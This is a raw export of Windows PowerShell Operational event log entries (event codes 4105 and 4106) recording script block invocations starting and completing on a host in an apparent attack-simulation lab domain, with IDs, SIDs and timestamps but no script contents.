OpCode=On create calls
RecordNumber=2041967
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041966
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041965
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041964
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041963
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041962
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041961
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041960
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041959
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041958
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041957
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041956
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041955
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041954
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041953
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041952
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041951
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041950
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041949
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041948
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041947
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041946
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041945
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041944
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041943
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041942
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041941
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041940
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041939
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041938
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041937
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041936
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041935
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041934
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041933
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041932
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041931
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041930
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041929
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041928
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041927
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041926
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041925
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041924
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041923
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041922
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041921
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041920
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041919
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041918
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041917
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041916
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2041915
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2041914
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
